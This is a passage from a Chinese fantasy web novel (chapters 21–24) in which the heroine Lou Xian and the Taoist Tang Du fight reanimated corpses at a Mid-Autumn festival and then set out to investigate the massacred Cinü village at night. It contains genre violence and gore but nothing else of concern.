长戟滑过男子喉间,他后腰一仰,反手扯住娄弦刺来的戟柄。
娄弦身子一倾,撤手一跃踏至男子肩上,手
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中凝力将天悲戟夺回。
娄弦又撑戟抬腿踢去,男子抬手一引,迂回挡去。
二人相战,将木屋前的长春花打了个零落,纷扬而下。
娄弦一旦出手,若非她想停手,势必要将人打趴下才罢休。
男子恐也看出娄弦难缠,不再迂回,转守为攻,几道光芒对峙,一时分不清上下。
他侧身躲过娄弦杀意,正欲遏其手腕,娄弦身形一转,手中招式未减,却听不远处有焦急声传来。
“别打了,二位别打了,我这花都给打坏了!哎呦,心疼的我。”
听闻有人在谷中动手,柳式通连拂琵给的团圆饼都没来得及吃,就急匆匆往这儿赶来了。
苍邺将娄弦手腕一擒,二人四目相对,谁也不愿先松手。
“好端端的怎么打起来了?二位是仇人?”柳式通百思不得其解。
谷坞里这位自受伤以来就一直在养伤,也不曾透露什么信息,两人什么仇什么怨,下手都如此之重。
苍邺五指一松,将娄弦往外一推,理了理略微凌乱的衣袍,怪气道:“你问她。”
柳式通又把目光转向娄弦:“这是你仇人?”
“不是啊。”娄弦拍掉落在肩上的花瓣,轻描淡写说,“话太密,有些不爽。”
话太密?
柳式通像是听了个笑话,他还是第一次听见有人说谷坞这位话太密的。
自他留下阿含谷以来,柳式通听他说过的话不超过十句,除试药之外,柳式通就没听他说过别的话。
一旁未说话的苍邺盯着娄弦手中那把银戟,若有所思。
方才没来得及问娄弦就飞身杀来,当下再看,却是有些眼熟。
他重新打量眼前的女子,身着红裙,未抹浓妆,捆在墨发上的红丝带搭在肩头,随意又张扬。
好似在哪儿见过。
化龙之际,他从九巨山脉苏醒,在最虚弱之时遭人背叛,生死之际,正是那抹红光从天而降替他退敌。
只是他未看到那人的正脸,只留下模糊不清的背影。
“你——”
柳式通未注意到苍邺张嘴,怕再生事端,他拉着娄弦朝外走:“他是我费了好大劲救来的,你可别再把他打伤了。”
娄弦收了长戟,回望一眼。
那男子还站在木屋门前,直直看着她。
娄弦问:“他是什么人?”
柳式通叹了口气:“此事说来话长,当初我救下他时,体内全是寄生的毒虫,它们食肉噬骨,再晚些恐怕就只剩躯壳了。”
“如今体内的毒虫虽驱了,可身体还未痊愈,你若真想杀他,等我治好了再动手,我柳式通绝不允许有我治不好的病人存在!”
后面的话娄弦并未听进去。
她思索着柳式通上半句话。
方才与他交手,身手修为并不亚于娄弦,受如此重之伤,想必是被人设了局。
见娄弦不语,柳式通不放心再次提醒道:“他身份特殊,若是透露出去,我这阿含谷怕是永无宁日了。”
“哦?是吗?”娄弦哼哼两声,加快了步伐,“这我不能保证,太聪明的人,我向来不太喜欢。”
21. 活尸
中秋当日,天还未完全笼罩,街上已是一片繁荣光景。
无数长灯将天街照得通亮,人头攒动,街道两旁的小贩被气氛渲染,吆喝的比往日还大声。
娄弦与拂琵正待下山,陈御裴急匆匆赶来,将两副面具交到她们手中。
面具模样怪异,雕成神魔样式,颜色格外瞩目,仔细瞧着怪有意思。
见几人翻来覆去看着手中的面具,陈御裴一边戴上面具一边解释:“为求平安顺遂,去傩祭的人都会戴上面具,这样鬼怪见了才会敬而远之。”
那面具完全遮盖了陈御裴的脸,只露出两只眼睛。
他的声音从面具下传来,带着沉闷含糊。
“拂琵姑娘我给你戴上。”陈御裴热情地要去拿拂琵手中的面具。
拂琵拘谨的摆摆手:“我自己来。”
随即将手中的面具戴在脸上。
她转头看向娄弦,见她仍旧在翻看,遂问:“你不戴吗?”
娄弦对着面具左看右看,质疑道:“这东西真能镇住鬼怪?”
若是这样,鬼怪岂不是太没用了。
“这只是人们的一种祈愿。”唐渡不知何时出现在这里。
他戴着红脸鬼怪面具,与他养性的气质稍有些不符。
唐渡走到娄弦身后,顺手拿走她手中的面具,将面具轻罩在娄弦脸上:“万事安顺,幸福康健,人活着也不为别的了。”
唐渡平静的声音从耳后传来。
他的动作很轻,好像只是无意拂过娄弦头发,随手而小心。
“好了。”唐渡走到娄弦面前,沉闷的声音从面具下传来,“祈愿你幸福喜乐,不为凡事困扰。”
唐渡说的轻易,像一阵风吹进娄弦耳里。
二人隔着面具四目相对,彼此看不见面具下的表情。
明明有所隔绝,又怕对方看穿心思。
唐渡率先开口:“走吧。”
他转身下山。
望着那抹飘逸素色身影,娄弦启唇问拂琵:“我昏睡的时候,可有说什么胡话?”
娄弦的声音带着思绪,拂琵并未听出,只道:“胡话倒是没有,只瞧着你很不安,总是眉头紧皱,像是做着什么噩梦。”
噩梦。
是噩梦没错。
察觉到娄弦情绪不对,拂琵紧了声问:“怎么了?若是身体不舒服,我们就不下山了。”
“没什么。”娄弦摇摇头,看着前方停下脚步等人的唐渡,“走吧,晚些就来不及了。”
陈御裴在前方招招手,示意她们快些。
唐渡回望,又很快将头转了过去。
娄弦扶好脸上的面具,将刚才的思绪一同掩盖。
……
街上人来人往,看不清面具下的真实面孔,只能听声辨人。
灯市千重夜色,有人放了花灯,闭目祈愿。南北货铺上糖糕扑鼻,小孩们相互传唤,又捧着糖糕嬉笑跑远。
人潮拥挤,一不小心就容易走散。
陈御裴拉着拂琵又逛又买,娄弦跟在身后,只觉得耳边吵闹的很。
“唐道长,你不是不喜热闹么,怎么又跟来了。”娄弦随意看着摊上的花灯,每个都无比精巧。
唐渡看着陈御裴递给拂琵一只白玉簪,拂琵慌乱拒绝。
他收回目光,看着挑选花灯的姑娘:“是陈公子央我来的。”
娄弦佯装讶异,放下手中的花灯对唐渡道:“不想你们二位情意如此深厚,陈御裴说什么唐道长就做什么,真令人羡慕啊。”
唐渡抿唇不语。
他虽看不见娄弦的表情,可听这语调,他也能想象出面具下的模样。
横竖不怼他两句心中不舒服,唐渡便也由着娄弦去。
等了半晌,竟没听见这臭道士反唇。
这是被夺了舍了?
娄弦顿感无趣,离了灯摊去寻拂琵。
几人四处逛着,偶有小孩嬉闹跑过,手中抓着刚买的糖葫芦,又到前方买了个拨浪鼓,笑着朝前跑去。
漫无目的之余,远处有锣鼓声传来,人群被吸引,一股脑朝敲锣声处涌去。
陈御裴抬头张望,远处戏台高扬,已有人陆续在台下等着,他赶忙招呼身旁几人道:“傩戏开始了,我们赶紧过去,晚了就占不到好位置了。”
几个随着人群朝戏台涌去,不过一会儿功夫台下就挤满了人。
陈御裴怕后边视线不好,拉着唐渡几人硬是挤到了前边。
锣鼓声愈来愈激烈,有小鼓跟上,惹的台下看客激情昂扬,高声欢呼着。
开场前,有几面戏旗翻过,将场子打热后锣鼓声紧急跟上,戏者站在两侧。
“祈愿上苍垂怜,消除厄运,免众生劫难,神灵降福,祥瑞盈门!”
为首之人晃着兽皮鼓,口中念念有词,做着祈祷之姿。
一声鼓点下,大乐起,气势翻涌,那人速尔转身,从身后挥出法器,随着一阵劲风,他翻身一跃稳稳落地。
随着节奏的移动越来越快,他跃至空中划过一道弧线,口中唱着含糊的歌吟。
歌吟带动着两侧的戏者,正邪对立,攻守交接,气氛紧张。
台下看客沉浸其中,无一不是拍手叫好。
众人的目光都被台上戏码所吸引,陈御裴更是兴奋地手舞足蹈,就连唐渡也觉之妙哉。
傩戏快接近尾声,陈御裴仍有些意犹未尽,正当感慨之时,他眉头倏尔一皱,嗅着鼻子问:“什么味道?”
傩戏精彩,许多人都被表演所吸引,气氛烘然,无人注意到这轻微的异样,只有一人幽幽开口:“是死人的味道。”
唐渡神色不知何时警戒起来。
娄弦的脸色也有些凝重,她看着台上还在表演的戏者,接了唐渡的话说:“还是死了很久的死人。”
喧嚣不停,锣鼓不止,热潮掩盖了二人的声音,无人听见他们说了什么。
须臾之间,二人的目光齐齐看向戏台中央站立之人。
锣面击下,台上之人静立垂面,无力的脑袋耷拉在脖子上,众人看不清他的脸,只当是表演结束,还意犹未尽在台下喊’再来一个’。
突然,面具掉落,那人还低头垂面,像是没了意识。
高呼声渐渐息了,琐碎的疑惑声响起,诡秘之中,不知谁惊呼一声:“他的脸!他的脸怎么会……!”
那是何其可怖的一张脸!
碎肉糜烂,半边露出森森白骨,空洞的眼眶凹陷,虫蛆从中涌出,唇边早已没了皮肉,只有一排森然齿骨。
台上台下惊惧,顿时乱做一团。
“鬼!鬼啊!”
“妖邪显灵,是恶鬼来了!大家快跑啊!”
“阿娘,阿娘你在哪里!”
陈御裴乍惊,赶紧拉着拂琵朝娄弦二人靠近:“这是怎么回事?怎么会有死人在上面?!”
“怨气,好重的怨气。”唐渡面色凝重,正要伸手去拉身侧的人,心中却忽然慌乱,“娄弦呢?”
热闹被拍散,只有无尽的恐慌笼罩在长街。
人群四处逃散,如受惊之鸟,娄弦恍然回头,身边哪里还有拂琵他们的身影,她逆流在人群中,抬头找寻,太乱了,实在是太乱了。
她被人流裹挟,身不知何处,眼里尽是慌乱逃窜的身影。
正在此时,一道凄厉的惨叫划破人心,血腥气之气悄然弥漫,透过人隙,娄弦分明看见一具被啃得面目全非的尸体。
尸体旁,趴着一个极其诡异的人,如畜如兽,却有常人四肢,那皮包骨头正享受着属于他的‘美食’。
“那是……”娄弦眉头紧锁。
暗影绰绰,没有被灯火照亮的地方似有什么在涌动。
渐渐地,藏在黑影的东西行入光亮,一个、两个、三个……足足竟有十来个活死人
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他们的身体大多已经不完整了,有些没了手脚,这腐烂程度像是死了很久,他们缓步前行,嘴里还低吟着什么,惊悚极了!
这些人是谁?他们从哪里来,又为什么会出现在这里?
娄弦大脑飞速运转,胡乱逃窜的人撞到她的肩膀,她恍然回神——
这微弱的气息……?
手腕陡然被人抓住,只听有人道:“别走散了。”
娄弦回头,唐渡已然摘下面具,面色焦急拉着娄弦往回走。
恰在此时,陈御裴气喘吁吁赶来,在看到眼前骇人的一幕时,他惊嚎一声:“这是什么鬼东西!”
还未得到回答,却听后方传来一阵躁动。
几人尚未反应过来,几十个活死人如潮水般汹涌冲进人群,伴着毛骨悚然的嘶吼,开始无差别啃食□□。
今日中秋佳节,正是街上人流最多之时,人前拥挤死尸后堵,街上满是哀嚎和恐惧。
“怎么办怎么办,这鬼东西怎么越来越多了!”陈御裴躲在唐渡身后,还不忘将拂琵拉至身旁,惊心胆颤看着前方的混乱。
娄弦斜斜瞥了他一眼,阴阳道:“你爹不是妖殿司殿师吗,你怎这般无用?”
陈御裴急道:“我娘心疼我不让我学那些东西,不是,现在是说这些的时候吗?快想想办法呀!”
陈御裴话音刚落,娄弦一脚朝他踹去。
原以为她是踹自己,谁知身后传来一声闷哼,陈御裴转头,脸又吓白了三分,那活死人不知何时走到了他身后要吃他的肉!
“找个地方躲起来!”娄弦利落丢下这句话朝前杀去。
唐渡也不废话,紧跟在娄弦身后将这些活死人逼退。
武力值高的两人都跑去打怪了,陈御裴两边空空,安全感顿时消失个干净:“都、都走了?”
可一想到还有个拂琵,他又强行保持镇定,护着身后的人说:“拂琵姑娘别怕,我保护你。”
身后静悄悄一片,没有人搭理他,陈御裴又试探着喊了一遍:“拂琵姑娘?”
一片安静,陈御裴疑惑转头,不转不要紧,这一转直接要了他半条命。
只剩半个脑袋的脸在眼前瞬间放大,脑袋里糜烂的血块清晰可见,这令人呕吐的恶臭差点将他送走。
陈御裴脑袋宕机,甚至忘了怎么逃跑。
一道粉光劈来,脑袋顿时被削个干净。
拂琵拉着陈御裴躲到角落,临走前嘱咐道:“我去帮阿弦,你躲好别出来。”
“拂……”陈御裴还要说什么,拂琵已经朝娄弦追去。
“……你走了我害怕啊……”又见那边杀的血肉模糊,陈御裴缩了下脖子,用竹篓将自己挡了个严实。
陈御裴躲在竹篓下身抖如筛,连眼睛都不敢睁,嘴里不停念着‘阿弥陀佛’。
断断续续间,似有什么人朝他走来了。他悄悄睁开一条缝,只看到一个模糊的人影,还未等他反应过来,只觉身上的竹篓被人掀走了!
一股恶臭钻进鼻子,他猛然睁开眼大叫:“救命啊!”
活死人伸手朝他扑去,恰在此时,一道白光挡在他面前,那活死人似撞到什么硬物,生生挡了出去。
陈御裴害怕的睁开眼,见一玉贝挡在身前,散着盈盈光芒。
不等他细看,那玉贝受人召唤又收了回去,他顺着方向看去,暗街拐角处站着一人,可待要细看,却又不见了。
三人将余下几个活死人处理干净,街上已是一片狼藉,死气沉沉。
娄弦走到陈御裴身旁将他召回:“看什么呢?”
“玉贝。”陈御裴脱口而出。
“玉贝?”娄弦皱眉。
恐是刚才看错了,陈御裴回神,心有余悸拍着胸口说:“这些都是什么人?”
“人?”娄弦轻哼一声,走到一具尸体旁说,“活着的才叫人,他们可死了很久了。”
22. 陈玉茴
地上的尸体穿着破衫布衣,想是哪里的村民。
魂魄离体后,这些尸身消散,通通化为白骨。
娄弦看着布衣处的泥土,该是从地里爬出来的。可这些人在土里待的好好地,又死了这般久了,怎么会突然出现在这里?
唐渡走到娄弦身侧,看着地上的白骨道:“有怨魂入了他们的体,很多很多。”
娄弦抬头:“怨魂入体?哪来这么多怨魂?”
方才打斗之余,几人揭了面具,陈御裴惊出一身冷汗也将面具揭了,此时脸上都挂着疑云。
“不清楚。”唐渡声音沉静,只听他道,“先回阿含谷,这暗处还不知藏了多少活尸。”
这话倒是不假,人群散去,地上还躺着不少白骨尸体,阴气森冷,指不定哪里又冒出来一批活尸。
陈御裴连连点头,抓着唐渡的道袍催促:“先回去,我们先回去。”
事发突然,几人也不好在此处多留,各怀心事回了阿含谷。
入夜,娄弦翻来覆去睡不着,还在思索刚才那微妙的气息。
是自己的错觉么?为何会在那些活死人身上感应到魂珠的气息,可引魂铃并未有动静……
那魂珠的气息十分微弱,像从四面八方飘来,似乎每个活死人身上都沾染了些许,引魂铃敏锐,怎在这时候没有一点动静。
娄弦闭着眼,床榻的动静吵醒了拂琵,她点了一盏油灯,轻手轻脚走去,看到娄弦眉头紧皱的样子,忍不住问:“睡不着吗?”
娄弦缓缓睁开眼,对着拂琵道:“我吵醒你了?”
“没有。”拂琵轻笑,引了旁边的烛台说,“我也还没睡呢。”
她看娄弦愁容未展的模样,犹豫道:“我可以和你睡一起吗?”
娄弦诧异抬头,对上拂琵婉约的眉眼,烛光投下她纤长的睫毛,像翩跹蝴蝶。
见娄弦没有回神,拂琵笑着坐在她床榻。
“我瞧你心事太多,旁边多个人会不会让你安心些?”
原是如此。
她倒是没有和旁人一起睡过。
自记事以来她都是自己一人睡,离得母亲远远的,生怕不小心又惹她不高兴。
有一回下大雨,外头雷电交加,她怕极了,可一想到母亲厌恶的神情,娄弦只能抱紧被子,强行压下心中的恐惧,久而久之,她便不怕了。
娄弦没有动静,拂琵沉默了半晌:“若你不愿,我可以在这守着你入睡——”
“上来吧。”娄弦挪身朝里躺了躺。
这回轮到拂琵诧异了,她竟没想到娄弦会为她挪出一个空位。
心中顿感欣悦。
娄弦的身上带着些许木香,让人一下放松起来。
两个姑娘躺在彼此身边,外头夜暮浓重,屋内烛火微微。
娄弦果真安心起来。
“阿弦,我给你唱个小曲儿吧。”拂琵的声音在耳畔响起。
娄弦笑了笑:“为什么要给我唱小曲?”
拂琵道:“听人说,眠曲安人心,可以睡得更舒服些。”
娄弦重新闭上眼:“这倒是没听过。”
拂琵却诧异:“你的娘亲没有给你唱过吗?”
夜色如浓稠墨汁静谧,昏黄的灯光摇摇晃晃跳跃在娄弦脸上,看的有些模糊。
她的神色很平常,像是在诉说一件再寻常不过的小事。
“没有。”
“她从不哄我入睡。”
短短两句话叫拂琵心头一滞。
相处这么久以来,她确实没有听娄弦提过她的家人,就好像这世上从来都只有她一个人。
事实也确实如此。
娄弦闭了眼,却没有睡着,只觉身旁的暖香朝自己贴近了些。
只听拂琵细语说:“那我唱给你听。”
拂琵声色带柔,如晨间升起的轻烟,萦绕盘旋。
渐渐地,就听不真切了,那声音似从天边传来,有些飘渺虚无。
外头银纱轻覆山谷,泛起一层幽光,已过子时了。
……
翌日天亮,天际渐白,山间晨雾缕缕,小童身影忙碌,将前些日晒的药草收拢,碾成药碎存储。
娄弦从床上起来时,拂琵已备好早膳。
她抿了口清粥,将热好的石饼掰碎放入其中慢慢嚼着。
拂琵从外头进来,手中不知拿着些什么,大包小包放在桌上。
掠过这些包裹,娄弦的脸从中间抬起,讶异道:“你买这么多东西做什么?”
拂琵脸上尽是无奈:“这些都是御裴公子塞给我的。”
“陈御裴?”娄弦扒拉着那些精致的小包裹,忍不住好奇,“都是些什么?”
拂琵苦笑:“我也不知道,妖殿司来人了,是他托人从京中带的。”
妖殿司这么快来人了?
陈御裴昨日刚去的信,今早就来人了,这也太快了。
不过也好,这么多人帮着查,消息总比自己查快些。
娄弦将包裹往边上一放:“一会儿我们去前头看看,说不定能等到什么消息。”
拂琵表情有些为难:“那个,我们还是在后谷等着吧,妖殿司的人还不知什么时候能查出结果呢。”
娄弦疑惑:“为何要在后谷,去前边等消息不是更快吗?”
二人正说着,外头传来陈御裴的声音:“阿姐,你怎么要住在西院,同我住在一处不好吗?”
有轻笑声打趣而来:“小姐定是想离唐道长近些,是不是?”
“小环,又胡说。”
娄弦朝外望去。
穿着杏黄蝶纹绸缎衫的女子和陈御裴站在一处,嘴角含笑。
光滑乌瀑落在肩头,头戴鎏金点翠步摇,身型曼妙颇有大家闺秀之姿,即使看得隐约也能猜出是个貌美女子。
拂琵在一旁注意着娄弦的表情,却发现她未有变动,倒是陈御裴路过顺便打了招呼:“拂琵姑娘,娄姑娘,同你们介绍我姐姐。”
娄弦起身朝外走去。
这回看得清了。
眉眼间与陈御裴确实有些相似,只不过脸型更婉约些,不似陈御裴那般分明。
陈玉茴内敛,对着娄弦二人稍稍颔首,娄弦二人点头报以回礼。
陈御裴看着拂琵傻乐,陈玉茴瞧在眼里,轻轻拍了他胳膊提醒:“看见漂亮姑娘挪不开眼的性子何时能改改。”
少年挠挠头,对拂琵道:“我先把阿姐安置妥当,回头再来寻你。”
陈玉茴又多瞧了娄弦两眼,跟着陈御裴往另一处客房走去。
娄弦回身坐在桌边,随口道:“陈玉茴怎么来荆州了?”
“昨夜险情,许是担心自家弟弟?”拂琵胡乱说道。
娄弦摇摇头,露出些许品味的表情:“我瞧着是冲唐渡来的。”
那方娄弦八卦着,这方陈玉茴已到了客房。
她特意挑了间离唐渡近些的屋子,为的就是方便与他说话。
陈御裴将一切
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安置妥当,又对小环交代了几句,正准备离开,陈玉茴忽然叫住他。
“御裴,刚才见到的那两个姑娘,是什么人?”
陈御裴没有多想,直说道:“都是唐道长的朋友,来阿含谷治病的,其中那位穿水蓝衫的就是我常写信于你的拂琵姑娘。”
陈玉茴点点头,再没说什么。
待陈御裴离开,小环铺好床褥走到陈玉茴身边:“小姐是担心另一位?”
陈玉茴坐到梅花凳上,脸上难掩忧思。
唐渡身边何时出现过女子。
先前他住在府上时,自己连同他说话的机会都鲜少,大多时候都是她问,唐渡答。
她本想表明心意将唐渡留在府上,谁知话还没说出口他却走了,后来再没了消息。
不久前陈御裴来信,说在阿含谷见到了唐道长,她央求了父亲好久才来了阿含谷,谁知是这光景。
瞧见自家小姐忧虑,小环走到陈玉茴身边安慰:“小姐别多思,唐道长心地良善又乐于助人,少爷都说那姑娘是来阿含谷治病的,恐怕也是萍水之缘,并没有过多的情分。”
陈玉茴的眉头这才稍稍舒展。
也是,唐渡向来不近女色,他为人和善,旁的有难他总会上前帮一把,那姑娘的存在只能说明唐渡有担当,是个值得依托之人。
现如今她人已经在这儿了,将原先没说的话说了,二人或许也就有结果了。
陈玉茴这才舒心起来,不由露出了笑容。
而刚从山下回来的唐渡并不知妖殿司来了人,更不知陈玉茴也来了。
他从街上得了消息便往娄弦处赶。
正进门,碰见娄弦往外走。
二人面面相对。
唐渡率先开口:“你要出门?”
娄弦微微朝后翻了个白眼,嫌弃之色丝毫不掩:“陈御裴在这待了一上午,我瞧着心烦,不如去前头等妖殿司的消息。”
“妖殿司来人了?”唐渡讶异。
这速度未免也太快了些。
娄弦见他不知情的模样,忽然来了趣味。
她朝唐渡客房的方向一努嘴,勾了唇笑:“来的岂止是妖殿司的人。”
唐渡不明所以,只当娄弦像往常般开他玩笑。
他沉默无言,并不想搭理她,掠过娄弦朝屋子里走去。
娄弦在后头叫住他:“唐道长不好奇?”
唐渡漠道:“不好奇。”
娄弦叹了口气:“少女倾心意痴痴,一见难忘啊,唐道长。”
唐渡忽而顿住脚步,这才想到些什么。
他转头看娄弦嘴角挂着意味不明的笑,突兀道:“你见过她了?”
这个‘她’虽未明指,可二人心中都有数。
“玉茴姑娘人不错,不论是家世样貌,配你都绰绰有余,你可别辜负人家的真心啊。”这话倒不是讽刺。
人对漂亮的事物难免多怜惜些。
可唐渡的脸色却有些难看,甚至有些薄怒。
他静声道:“我和她之间的事就不用你操心了,与你无关。”
娄弦也不恼,爽快答应下来:“好。”
又见她朝外走,唐渡舒尔出声叫住她:“与其去前头等妖殿司来消息,不如先听听我的消息。”
娄弦顿足回望,又朝唐渡走去。
“你怎么不早说?”
唐渡轻哼两声,对娄弦的怨气还未消减。
“方才也不知是谁同我聊别的。”
23. 慈女村
昨夜动静闹的这般大,又有这么多尸体崛地而起,想打听些事并不困难。
唐渡问了街上的百姓,陆陆续续打听了些消息出来。
大概是三年前,有个叫慈女村的村子,里面的村民不知因何缘故一夜之间都死绝了,连死因是什么都无人知晓,只知道有个叫王贵的村民那夜在外头吃醉了酒,而他的尸体是第二天在酒楼被发现的。
据说发现他的小二当场吓得说不出话。
他的死状比村里的村民更可怖,是下场最惨的那个,身上皮肉不全,像是被人活生生剜下来的,鲜血流尽,顺着木板夹缝直滴到下层,拿水冲了好些天都有股隐隐的血腥气。
有人道此事玄乎,恐是整个村子得罪了什么怪东西,怕惹祸上身,许多人都闭口不谈慈女村惨案。
时间久了,村子逐渐荒废了,有人曾说,每过子时村子里都会亮一盏烛灯,还能听见女子说话的声音。
鬼怪传说本没有什么定论,直到昨夜活尸中有人认出了王贵那张脸,这才和慈女村有了联系。
只是慈女村村民都已死绝,再深些也探不出什么。
几人一时没有头绪。
陈御裴复了唐渡的话道:“你是说,昨夜那些死尸都是慈女村的村民,而这个村子的人莫名其妙死了精光,无一幸免,三年后有怨魂入了他们的身体,又让他们‘活’了过来?”
唐渡并不否认:“确实如此。”
“可这也太离谱了!”陈御裴不可置信,“三年前的尸体早就化为白骨了,怎么可能……”
说到此处,陈御裴不再往下说。
是啊,早就成为白骨了,所以待魂魄离体后,□□便消散了。
他沉默下来。
一旁未说话的娄弦停留在唐渡所说的三年前。
三年前九巨山脉撼动,正是她冲破封印魂魄离体的时候,这么说来,昨夜的气息并不是她的错觉。
可问题是,这气息太散了,像是从四面八方飘来的。
换做以前,她是站在路口,朝着眼前仅有的一条路去寻魂珠,可现在不同,她仿佛站在了分叉口,每条路都能走,可魂珠只有一颗,她到底该走哪一条。
唐渡也觉此事棘手。
这么多人是为什么而死?这些怨魂又是从哪儿来?若是找不到根源,任由怨魂入其他尸体,恐怕又是一场混乱。
“方才唐道长说,有个叫王贵的村民死在了外头,而且死状比村子里的人更甚。”拂琵慢慢开了口,看向其余几人,“会不会是和此人有关?”
唐渡摇摇头:“据我打听来的消息,这个王贵平时吃酒好赌,并没有什么仇家,若是与他有关,应有些消息才是。”
几人又陷入沉默。
娄弦手搭在桌面,食指轻点:“不是说慈女村每过子时都会亮一盏烛灯,还能听见女子说话的声音吗?”
她提到:“与其在这胡乱猜测,不如直接去慈女村瞧瞧。”
去慈女村探究竟是其次,更重要的是她想确定魂珠是不是也在慈女村。
话落,陈御裴第一个跳出来反对:“都是荒村了,怎么还会有烛灯亮起?”
子夜去荒无人烟的小乡村,听着就有些瘆人。
他才不去。
没成想娄弦的提议拂琵第一个赞同:“我和你一起去。”
“天色越暗,尘世中的浮华越显现,有些东西反而看的更清晰。眼下所有的一切都和慈女村有关,既要调查怨魂和活尸,就该从根源出发,若真有烛火亮起那才好呢。”
拂琵分析的头头是道,就连唐渡也觉如此。
陈御裴顿觉自己孤立无援,在那“你们”了半天,最终妥协下来。
“好吧,那我也去。”紧接着陈御裴又道,“不过我得准备一番,带些东西再去。”
娄弦轻嗤一声,企图将他从夜探慈女村名单中划去:“你还是留在阿含谷吧,若届时又有活尸出现,我们可没工夫管你。”
一想到那些面目全非的活尸,陈御裴后背发凉,又有些退怯了。
可一看到拂琵就在旁边,即刻壮了胆说:“我父亲是妖殿司殿师,响当当的人物,我会怕那些活尸?笑话,晚上我就和你们一块儿去。”
娄弦哼哼两声,也不愿与陈御裴扯话,自顾朝前山走去。
娄弦前脚刚走,唐渡也准备去前边等妖殿司的消息。
眼下状况不明,多打听些总不会错。
正待出门,一道含羞的声音忽然叫住他。
“唐道长。”
唐渡回头,陈玉茴不知何时从西院走了出来,她脚步有些急促,催促着身旁的小环快些。
出门前陈玉茴特意换了件粉团凤尾裙,将她衬的更加娇嫩绝艳。
“我正想找御裴说说话,不曾想在这里碰见了唐道长,真是缘分。”她走到唐渡面前,一双含水眼波看着他,神色有些娇怯。
唐渡朝后稍退一步,和陈玉茴拉开些距离,应了礼道:“确实是巧。”
陈玉茴嘴角的笑还未消下去,就听唐渡朝屋子里喊道:“陈公子,玉茴姑娘来看你了。”
陈玉茴笑容一僵,还要再说些什么,唐渡已匆匆朝前山走去。
眼看着那抹身影消失在山径,陈玉茴咬了唇,一脸哀怨不舍的模样。
陈御裴从屋子里走了出来,手中正给拂琵削着苹果:“阿姐,你找我啊?”
陈玉茴恨恨瞪了他一眼,一跺脚,什么也没说便回了屋,留下陈御裴一脸茫然的样子。
不是来找我吗?怎么又走了?
陈御裴摇摇头,削着手中的苹果回了屋。
前山。
妖殿司与唐渡带来的消息大差不差,这些活尸大多都是慈女村的村民,可其中还有两三个是附近乱葬岗的村民。
他们死的时间并不算长,最久的也才三月有余,魂魄离体之后,他们的□□并未消散,而是呈现高度腐烂的模样。
可见怨魂并不全是入得慈女村村民。
妖殿司的人前去慈女村察看,那是荆州边界处极不起眼的小村庄。
里面的房屋残败不堪,是个荒人村。
许是觉得晦气,周围的村庄也都
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空了大半,略显清冷。
妖殿司的人探得深了,在一处死湖旁发现了许多白骨,他们就像敝屣被人随意丢弃,连个尸坑碑位都没有,或者说,是他们死前倒在了此处,最后化为白骨。
如此说来,慈女村确实藏着一个大秘密。
白日里总是过得很快,天幕渐降,几人收拾妥当准备夜行慈女村。
娄弦看着陈御裴身上乱七八糟的东西,忍不住吐槽:“你非去不可吗?”
出门前陈御裴换了件衣裳,里面装的鼓鼓囊囊,身上还挂了许多纷乱芜杂的东西,什么桃木、黄符、八卦镜等等,娄弦只随便看了一眼就觉眼花缭乱。
陈御裴信誓旦旦说:“这些都是我护命的宝贝,我里边还穿了金丝软甲和护法囊衫,不管是人是鬼我都不怕,还有这八卦镜和桃木……”
娄弦忍不住打断他:“你还是留下吧。”
“你们都去,我怎么能留下呢!”陈御裴将桃木剑揣进腰间,“现在就出发!”
夜色浓若墨汁,慈女村内的月亮都比往日暗些。
荒村失了生活痕迹,村路被杂草掩盖,有些路已分不清方向。妖殿司司卫白日勘察,在原本磨灭的道路上做了记号,几人这才摸清方向。
村子萧瑟,本就没有什么人气,加上现在已入夜,周遭漆黑,连草丛都变得瘆人起来,总像是人影飘忽。
顺着村路,往里走的深了,周围全是破败空旷的残屋,黑漆漆的门窗宛若静谧诡物,森森望着几人,借着微弱月光,依稀能看到残屋内桌椅摆设。
陈御裴壮着胆子走在拂琵身旁,一边握着桃木剑一边念念有词。
他们不知走了多久,耳边妖风阵阵,时而传来杂草的摸索声。
一想到有死尸是从这儿活过来的,陈御裴心中直发毛,他忍不住问:“还要走多久啊,我们是不是已经在村子中心了?”
娄弦嫌弃道:“说了叫你在谷中等着——”
“鬼啊!”
一道黑影快速从身后划过,陈御裴来不及反应,下意识朝身旁一抓,紧闭着双眼不敢睁开。
唐渡搭上自己的胳膊,将牢牢攥着他的手无情扒开:“野猫。”
方才被野猫一吓,陈御裴惊慌失措往身旁一抓正巧抓了唐渡胳膊,心觉尴尬又怕拂琵看穿,只得后退一步和唐渡保持距离。
拂琵看他惊魂未定的模样,忍不住关心道:“你没事吧?”
“没有啊。”陈御裴故作镇定,将手中的桃木剑抓得更紧了,“不过是一只野猫,我只是——”
“住嘴。”娄弦神色一变,打断了陈御裴的话,目光看向村子某处。
在浓重夜色中,分不清是哪个方向,豆点大的烛光如萤虫般,幽然散着光亮,突兀又诡异。
陈御裴傻了眼,连带着声音都不自觉轻了下来:“这鬼地方,还真有人住……”
“是不是人,还不一定呢。”娄弦的手覆上腕间,脚开始不自觉朝那光亮走去。
在寂静无边的浓夜中,引魂铃清晰的声音格外鸣脆。
魂珠,就是这里了。
24. 慈女村(二)
这座屋子周围是残败的空屋,唯有这盏幽亮的光明在寂夜中格外突兀。
“我们一定要过去吗?”陈御裴心中害怕的不行,这荒山野岭的,住在这的能是个正常人吗?
“来都来了。”娄弦轻描淡写说着。
她打量着房屋四周,这间屋子已经十分老旧了,杂草丛生,门口没什么物什家禽,竹篓锄具被丢在一侧,石磨也许久没用了,结了一层厚厚的灰。
若不是屋内亮着盏灯,哪里敢相信这里还有人住。
夜风习习,直往人衣服里钻,黑云遮浮月光,原本晦暗的院子更加阴凉。
静谧之中,忽有女子说话的声音从里边传来,断断续续,像是在对谁倾诉。
含糊低语听的不清,却让人汗毛竖立。
屋外几人面面相觑,谁也不敢出声。
“进去瞧瞧?”娄弦提到。
陈御裴不知何时从衣间掏出铜镜,万分警惕抱在胸前。
对他来说,走到这里已是万分不易,怎么还能进去瞧瞧?
他拒绝道:“我不去,里边有人在说话,谁知道是个什么东西。”
娄弦看着他手中的铜镜,只觉晃眼的很。
她皱眉道:“那你在外边等着。”
“不行!”陈御裴险些跳起来,“荒山野岭你怎么能留我一人?”
外头月黑风高,时不时还有夜猫窜过,指不定外头更危险,留他一人怎么能行。
这也不行那也不行的。
娄弦耐心逐渐失去,一把揪住陈御裴衣领威胁道:“你已经耽误我许多功夫,再磨磨唧唧我现在就把你杀了喂夜猫!”
陈御裴当即不说话了。
